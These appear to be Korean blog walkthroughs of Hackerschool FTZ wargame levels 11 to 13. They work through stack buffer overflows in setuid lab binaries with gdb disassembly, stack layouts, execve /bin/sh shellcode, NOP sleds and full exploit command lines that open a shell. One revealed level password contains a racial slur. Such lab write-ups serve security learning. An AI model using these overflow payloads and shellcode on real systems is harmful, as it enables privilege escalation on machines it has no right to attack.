[level13@ftz level13]$ cat hint


#include <stdlib.h>


main(int argc, char *argv[])

{

   long i=0x1234567;

   char buf[1024];


   setreuid( 3094, 3094 );

   if(argc > 1)

   strcpy(buf,argv[1]);


   if(i != 0x1234567) {

   printf(" Warnning: Buffer Overflow !!! \n");

   kill(0,11);

   }

}


이번에도 깔끔하게 환경변수를 이용하여 문제를 풀겠습니...다?


소스를 보니 새로운 조건이 추가되었네요.

i 가 0x1234567이 아니라면 프로그램이 죽어버리네요.


근데 변수 선언 순서를 보면, i가 buf보다 먼저 선언되었으므로

i의 시작주소가 buf의 시작주소보다 높은 것을 알 수 있습니다.


이를 이용해서 i를 덮어쓰면 되겠죠?


실행에 옮깁시다!


일단 gdb를 통해 정확한 분석 ㄱㄱ


[level13@ftz level13]$ gdb -q attackme

(gdb) set disassembly-flavor intel

(gdb) disas main

Dump of assembler code for function main:

0x080484a0 <main+0>:    push   ebp

0x080484a1 <main+1>:    mov    ebp,esp

0x080484a3 <main+3>:    sub    esp,0x418

0x080484a9 <main+9>:    mov    DWORD PTR [ebp-12],0x1234567

0x080484b0 <main+16>:   sub    esp,0x8

0x080484b3 <main+19>:   push   0xc16

0x080484b8 <main+24>:   push   0xc16

0x080484bd <main+29>:   call   0x8048370 <setreuid>

0x080484c2 <main+34>:   add    esp,0x10

0x080484c5 <main+37>:   cmp    DWORD PTR [ebp+8],0x1

0x080484c9 <main+41>:   jle    0x80484e5 <main+69>

0x080484cb <main+43>:   sub    esp,0x8

0x080484ce <main+46>:   mov    eax,DWORD PTR [ebp+12]

0x080484d1 <main+49>:   add    eax,0x4

0x080484d4 <main+52>:   push   DWORD PTR [eax]

0x080484d6 <main+54>:   lea    eax,[ebp-1048]

0x080484dc <main+60>:   push   eax

0x080484dd <main+61>:   call   0x8048390 <strcpy>

0x080484e2 <main+66>:   add    esp,0x10

0x080484e5 <main+69>:   cmp    DWORD PTR [ebp-12],0x1234567

0x080484ec <main+76>:   je     0x804850d <main+109>

0x080484ee <main+78>:   sub    esp,0xc

0x080484f1 <main+81>:   push   0x80485a0

0x080484f6 <main+86>:   call   0x8048360 <printf>

0x080484fb <main+91>:   add    esp,0x10

0x080484fe <main+94>:   sub    esp,0x8

0x08048501 <main+97>:   push   0xb

0x08048503 <main+99>:   push   0x0

0x08048505 <main+101>:  call   0x8048380 <kill>

0x0804850a <main+106>:  add    esp,0x10

0x0804850d <main+109>:  leave

0x0804850e <main+110>:  ret

0x0804850f <main+111>:  nop

End of assembler dump.


오케이~ 


낮은 주소


buf[1024] [ebp-1048]

dummy[12]

i[4] [ebp-12]

dummy[8]

SFP[4]

RET[4]


높은 주소


이런 구조를 가지고 있는 것 같습니다.

그러면 buf[1024] 와 dummy[12]를 A로 채워주고, i를 01234567로 채워주고, dummy[8]과 SFP[4]를 다시 A로 채워준뒤 리턴주소를 덮어주면 될 것 같습니다. 파이썬 코드로 짜면


`python -c 'print "A"*1036+"\x67\x45\x23\x01"+"A"*12+"RETN"'`


이렇게 되겠네요.


그럼 이제 환경변수를 설정해 줍시다.


[level13@ftz level13]$ cd tmp

[level13@ftz tmp]$ export EGG=`python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

[level13@ftz tmp]$ echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c

[level13@ftz tmp]$ gcc getenv.c -o getenv

[level13@ftz tmp]$ ./getenv

ADDR -> 0xbffffc8d



./attackme `python -c 'print "A"*1036+"\x67\x45\x23\x01"+"A"*12+"\x8d\xfc\xff\xbf"'`


익스플로잇 완성!

실행!


[level13@ftz tmp]$ cd ..

[level13@ftz level13]$ ./attackme `python -c 'print "A"*1036+"\x67\x45\x23\x01"+"A"*12+"\x8d\xfc\xff\xbf"'`

sh-2.05b$ my-pass

TERM environment variable not set.


Level14 Password is "what that nigga want?".




...GAZ....A!


반응형

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL15] 풀이  (0) 2018.02.09
해커스쿨 FTZ [LEVEL14] 풀이  (4) 2018.02.09
해커스쿨 FTZ [LEVEL12] 풀이  (3) 2018.02.09
해커스쿨 FTZ [LEVEL11] 풀이  (3) 2018.02.08
해커스쿨 FTZ [LEVEL10] 풀이  (0) 2018.02.07
반응형


해커스쿨 FTZ [LEVEL12] 풀이


M4ndU




해커스쿨 FTZ [LEVEL12] 풀이입니다.


ID | level12

PW | it is like this


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat hint


를 이용해 힌트를 확인합시다.




login as: level12

level12@192.168.31.128's password:

[level12@ftz level12]$ ls -l

total 28

-rwsr-x---    1 level13  level12     13771 Mar  8  2003 attackme

-rw-r-----    1 root     level12       204 Mar  8  2003 hint

drwxr-xr-x    2 root     level12      4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level12      4096 Jan 15  2009 tmp

[level12@ftz level12]$ cat hint



#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>


int main( void )

{

        char str[256];


        setreuid( 3093, 3093 );

        printf( "문장을 입력하세요.\n" );

        gets( str );

        printf( "%s\n", str );

}


이번 문제도 level11과 같아보지만, main 함수의 인자가 아닌, gets 함수를 통해 입력값을 받는다는 것이 다른 것을 확인할 수 있습니다.


먼저 gdb로 분석을 합니다.


[level12@ftz tmp]$ gdb attackme -q
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x08048470 <main+0>:    push   ebp
0x08048471 <main+1>:    mov    ebp,esp
0x08048473 <main+3>:    sub    esp,0x108
0x08048479 <main+9>:    sub    esp,0x8
0x0804847c <main+12>:   push   0xc15
0x08048481 <main+17>:   push   0xc15
0x08048486 <main+22>:   call   0x804835c <setreuid>
0x0804848b <main+27>:   add    esp,0x10
0x0804848e <main+30>:   sub    esp,0xc
0x08048491 <main+33>:   push   0x8048538
0x08048496 <main+38>:   call   0x804834c <printf>
0x0804849b <main+43>:   add    esp,0x10
0x0804849e <main+46>:   sub    esp,0xc
0x080484a1 <main+49>:   lea    eax,[ebp-264]
0x080484a7 <main+55>:   push   eax
0x080484a8 <main+56>:   call   0x804831c <gets>
0x080484ad <main+61>:   add    esp,0x10
0x080484b0 <main+64>:   sub    esp,0x8
0x080484b3 <main+67>:   lea    eax,[ebp-264]
0x080484b9 <main+73>:   push   eax
0x080484ba <main+74>:   push   0x804854c
0x080484bf <main+79>:   call   0x804834c <printf>
0x080484c4 <main+84>:   add    esp,0x10
0x080484c7 <main+87>:   leave
0x080484c8 <main+88>:   ret
0x080484c9 <main+89>:   lea    esi,[esi]
0x080484cc <main+92>:   nop
0x080484cd <main+93>:   nop
0x080484ce <main+94>:   nop
0x080484cf <main+95>:   nop
---Type <return> to continue, or q <return> to quit---
End of assembler dump.


*main+59 를 보면 ebp-264부터 입력을 받네요. level11과 스택구조가 동일한 것 같습니다.

낮은 주소


str[256]

dummy[8]

SFP[4]

RET[4]


높은 주소



이번에 풀때는 깔끔하게 환경변수를 이용해 풀어보겠습니다.


tmp폴더로 이동합니다.

그리고 다음 명령어를 순서대로 입력하여 실행합니다.


$export EGG=`python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`


$echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c


$gcc getenv.c -o getenv


$./getenv


[level12@ftz level12]$ cd tmp

[level12@ftz tmp]$ export EGG=`python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

[level12@ftz tmp]$ echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c

[level12@ftz tmp]$ gcc getenv.c -o getenv

[level12@ftz tmp]$ ./getenv

ADDR -> 0xbffffc8d


0xbffffc8d를 리턴주소로 잡고 bof를 하면 됩니다.
이때 이 프로그램은 입력을 gets함수를 통해 받으므로 다른 형태로 프로그램을 실행해야 합니다.

(python -c 'print"\x90"*268+"\x8d\xfc\xff\xbf"'; cat) | ./attackme

이렇게요.


[level12@ftz tmp]$ cd ..
[level12@ftz level12]$ (python -c 'print"\x90"*268+"\x8d\xfc\xff\xbf"'; cat) | ./attackme
문장을 입력하세요.
릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱랛?

my-pass
TERM environment variable not set.

Level13 Password is "have no clue".

깔끔하죠? 레벨 떡상 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏ


반응형

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL14] 풀이  (4) 2018.02.09
해커스쿨 FTZ [LEVEL13] 풀이  (2) 2018.02.09
해커스쿨 FTZ [LEVEL11] 풀이  (3) 2018.02.08
해커스쿨 FTZ [LEVEL10] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL9] 풀이  (0) 2018.02.07
반응형


해커스쿨 FTZ [LEVEL11] 풀이


M4ndU




해커스쿨 FTZ [LEVEL11] 풀이입니다.


ID | level11

PW | what!@#$?


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat hint


를 이용해 힌트를 확인합시다.




login as: level11

level11@192.168.31.128's password:

[level11@ftz level11]$ ls -l

total 28

-rwsr-x---    1 level12  level11     13733 Mar  8  2003 attackme

-rw-r-----    1 root     level11       168 Mar  8  2003 hint

drwxr-xr-x    2 root     level11      4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level11      4096 Jan 14  2009 tmp

[level11@ftz level11]$ cat hint


#include <stdio.h>

#include <stdlib.h>


int main( int argc, char *argv[] )

{

        char str[256];


        setreuid( 3092, 3092 );

        strcpy( str, argv[1] );

        printf( str );

}


이번에는 attackme라는 파일이 추가되었네요.


일단 hint를 확인해 봅시다.

attackme의 소스코드인 것 같습니다.


str의 크기는 256바이트인데 입력값의 크기를 제한하지 않네요.

이것을 보고 버퍼오버플로우 문제인 것을 알 수 있습니다.


그럼 이제 gdb를 통해 str과 RET의 거리를 알아봅시다.


[level11@ftz level11]$ gdb -q attackme

(gdb) set disassembly-flavor intel

(gdb) disas main

Dump of assembler code for function main:

0x08048470 <main+0>:    push   ebp

0x08048471 <main+1>:    mov    ebp,esp

0x08048473 <main+3>:    sub    esp,0x108

0x08048479 <main+9>:    sub    esp,0x8

0x0804847c <main+12>:   push   0xc14

0x08048481 <main+17>:   push   0xc14

0x08048486 <main+22>:   call   0x804834c <setreuid>

0x0804848b <main+27>:   add    esp,0x10

0x0804848e <main+30>:   sub    esp,0x8

0x08048491 <main+33>:   mov    eax,DWORD PTR [ebp+12]

0x08048494 <main+36>:   add    eax,0x4

0x08048497 <main+39>:   push   DWORD PTR [eax]

0x08048499 <main+41>:   lea    eax,[ebp-264]

0x0804849f <main+47>:   push   eax

0x080484a0 <main+48>:   call   0x804835c <strcpy>

0x080484a5 <main+53>:   add    esp,0x10

0x080484a8 <main+56>:   sub    esp,0xc

0x080484ab <main+59>:   lea    eax,[ebp-264]

0x080484b1 <main+65>:   push   eax

0x080484b2 <main+66>:   call   0x804833c <printf>

0x080484b7 <main+71>:   add    esp,0x10

0x080484ba <main+74>:   leave

---Type <return> to continue, or q <return> to quit---

0x080484bb <main+75>:   ret

0x080484bc <main+76>:   nop

0x080484bd <main+77>:   nop

0x080484be <main+78>:   nop

0x080484bf <main+79>:   nop

End of assembler dump.



*main+41 과 *main+48 부분을 보면 ebp-264부터 입력값을 받는 것을 알 수 있네요. 

str에 256바이트가 할당되었으므로 8바이트가 dummy (쓰레기값)으로 존재하는 것을 알 수 있습니다.


현재 스택구조를 다음과 같이 나타낼 수 있습니다:


낮은 주소


str[256]

dummy[8]

SFP[4]

RET[4]


높은 주소



우리는 25바이트 쉘코드를 사용하겠습니다.


\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80


그리고 쉘코드 앞에 NOP을 의미하는 \x90으로 채우겠습니다.


268(str[256]+dummy[8]+SFP[4]) - 25(shellcode) = 243

"\x90"*243



이제 리턴주소를 구하기 위해 ebp-264의 주소를 알아보겠습니다.

ebp-264에 argv[1]을 덮어쓰는 작업을 하고 난 후인 *main+53 에 break point를 걸고


(gdb) b *main+53

Breakpoint 1 at 0x80484a5


argv[1]의 값으로 위에서 만든 코드 + 리턴주소를 입력하겠습니다.

`python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"AAAA"'`


(gdb) r `python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"AAAA"'`
Starting program: /home/level11/attackme `python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"AAAA"'`
Couldn't get registers: Operation not permitted.

오류가 나네요...

파일을 tmp폴더로 복사해서 진행해야겠네요.


(gdb) q
The program is running.  Exit anyway? (y or n) y

[1]+  Stopped                 gdb -q attackme
[level11@ftz level11]$ cp attackme tmp/
[level11@ftz level11]$ cd tmp
[level11@ftz tmp]$ gdb -q attackme
(gdb) b *main+53
Breakpoint 1 at 0x80484a5
(gdb) r `python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"AAAA"'`
Starting program: /home/level11/tmp/attackme `python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"AAAA"'`

Breakpoint 1, 0x080484a5 in main ()


스택을 확인해 봅시다.

(gdb) x/100 $esp

0xbffff430:     0xbffff440        0xbffffb23         0xbffff460        0x00000001

0xbffff440:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff450:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff460:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff470:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff480:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff490:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff4a0:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff4b0:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff4c0:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff4d0:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff4e0:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff4f0:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff500:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff510:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff520:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff530:     0x31909090      0x2f6850c0      0x6868732f        0x6e69622f



0xbffff440 부터 시작이 되네요. 리턴 주소로 0xbffff440으로 잡고 tmp/attackme 를 실행해보겠습니다.

./attackme `python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x40\xf4\xff\xbf"'`

[level11@ftz tmp]$ ./attackme `python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x40\xf4\xff\xbf"'`
Segmentation fault

음.. 아무래도 노가다가 필요해 보이네요. 쉘이 뜰때까지 리턴주소를 바꿔주며 반복시도 해보겠습니다.

Segmentation fault
Segmentation fault
Segmentation fault

[level11@ftz tmp]$ ./attackme `python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x40\xfb\xff\xbf"'`
sh-2.05b$ exit
exit


0xbffffb40에서 성공했습니다!
이제 본래 문제 파일에서 시도하겠습니다.

[level11@ftz tmp]$ cd ..
[level11@ftz level11]$ ./attackme `python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x40\xfb\xff\xbf"'`
sh-2.05b$ my-pass
TERM environment variable not set.

Level12 Password is "it is like this".

가즈으으ㅡ으으으아ㅏ아아ㅏ



반응형

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL13] 풀이  (2) 2018.02.09
해커스쿨 FTZ [LEVEL12] 풀이  (3) 2018.02.09
해커스쿨 FTZ [LEVEL10] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL9] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL8] 풀이  (0) 2018.02.07

+ Recent posts